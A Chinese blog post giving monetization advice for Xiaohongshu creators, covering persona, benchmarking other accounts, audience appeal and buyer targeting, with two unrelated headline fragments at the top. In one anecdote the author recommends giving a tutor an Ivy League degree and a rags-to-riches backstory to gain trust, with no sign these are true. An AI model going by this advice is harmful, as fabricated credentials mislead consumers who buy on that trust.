该文观点仅代表作者本人，人人都是产品经理平台仅提供信息存储空间服务

生意做大了，就没法只在商言商。

名导折戟，流媒难战。

<blockquote><p>在当今社交媒体盛行的时代，小红书已然成为众多创作者追逐梦想、实现变现的重要平台。然而，想要在海量内容中脱颖而出，成为一名高变现的博主并非易事。本文将从博主身份塑造、内容输入输出、观众缘培养以及目标人群定位等关键维度，深入剖析如何在小红书上打造一个具有强大商业价值和个人魅力的博主形象。</p> </blockquote>  很多朋友做自媒体博主，不外乎是为了赚钱， 当然我也是因为缺钱才做自媒体，但想做好一个有能力变现的账号并不容易。 首先我们得有一点共识：一个能赚钱的个人IP，必须具备几个要素: **足够大的流量+给力的运营团队+ 交付 OK 的产品** 在我看来 99.9% 的人，存在流量短缺的问题，都是因为以下几点没做好。 ## 一、博主身份要足够好 现在的短视频选题、爆款文案看多了，你会发现同质化非常严重。 感觉一个新风口曝光后，相关从业者就像那些闻到肉味的丧尸一样蜂拥而至。 想想最后消费者为什么找你买单，而不是张三李四别的博主，就是因为你身份好。 我陪跑的一个小红书学员，做小学英语赛道的，人很专业而且笔记质量也优质，但就是没人看。 我对他说：你身份人设调一下，给加个藤校毕业加农村青年逆袭的，有个女儿参加过全年级英语比赛，你要把奖状奖杯秀出来。 他听进去后就立马去实践，一套高学历加草根逆袭的人设下来，不出一个月流量就上来了。  其实做小红书博主，只要你的身份上去了，用户反而会放下戒备。 身份就是最简单的信任来源，因为意味着他找你买单的决策成本变低。 不然以前为啥那些专家一有个风吹草动，家里长辈就屯盐屯米，都是身份权威的原因。 当然你不能人设太离谱，太过完美只会让自己没有后路。 树大招风，粉丝看到你哪里做错了，会立马反噬你的，想想今年翻车了多少个大博主了？水能载舟，亦能覆舟。 ## 二、输入能力和输出能力你都得有 我们做自媒体要时刻谨记，做一个赚钱的个人IP是一个长期的过程。 大部分人光想着输出了，你说一个月50条视频咋够？100条视频想就没想就干了。 你自己费劲灵感去写，花大量时间去拍，最后没出结果，那不就亏死了。 人要学会风险控制，输出的内容是有了，所以你必须得有一个输入的来源。 见自己过后，更要见天地和见众生。 见大量的人，听大量的故事，来补你的输出。 只有达成正循环，才是博主持续更新的底气。 输入方式最快的就是寻找对标账号了，建议做博主初期，用心寻找 20-50个优质账号。 学习他们的内容结构、表现形式、运镜技巧、文案标题、情感波动、发文频率、变现方式等等。 整理成一个表格，忘了随时拿出来用，不要想一出是一出。下图是我用的对标账号拆解表（部分展示）。  ## 三、人设讨喜，要赚观众缘 观众缘这个东西，可能就是一种天赋吧，但是通过后期也能培养起来。 它决定我看到你的第一秒，愿不愿意听你讲话，会不会看你后续的内容，我看你越顺眼，我越是愿意听你讲。 想想现在抖音带货一哥“K总”为什么那么火？就是因为他路人缘好。 除了他的外貌，还有他的真诚和幽默感的谈吐，就算是他那独特的公鸭嗓，都很容易吸引到路人的眼光， 老王我认为，要想观众缘好，形象气质就得好，不然你一脸邋遢，无精打采的模样，谁看了都想划走。 而且自己说话的语气，轻重缓急等等，也是吸引路人的关键。 记得内容要说得言之有物，对产品细节有认知，别人觉得你细心了，存留率肯定大大提高。 ## 四、覆盖有消费力的人群 我之前有做过一个读书账号，两个月，四十来篇笔记涨粉5万。  后来一两个月不更新还有很多评论，很活跃但就是没有变现能力，想接个广都没多少人要。 我反思了一下，我感觉这个账号覆盖的读书人群没有消费能力，不能为我付费，也难以吸引资本或品牌方为我付费。 想要做赚钱的 IP，用户群体对你有消费意愿是非常重要的。 特别是现在环境，大家守财守得历害，不好好搞用户画像，很容易让自己变成一个工具人，再多粉丝都是竹篮打水一场空。 以上都是秃头老王的一家之言，写作不易希望大家给个点赞关注。 看完后并有任何想法，或不同的见解，我都非常珍惜，欢迎你在评论区和我交流。 本文由 @秃头老王聊运营 原创发布于人人都是产品经理。未经作者许可，禁止转载 题图来自 Unsplash，基于CC0协议 该文观点仅代表作者本人，人人都是产品经理平台仅提供信息存储空间服务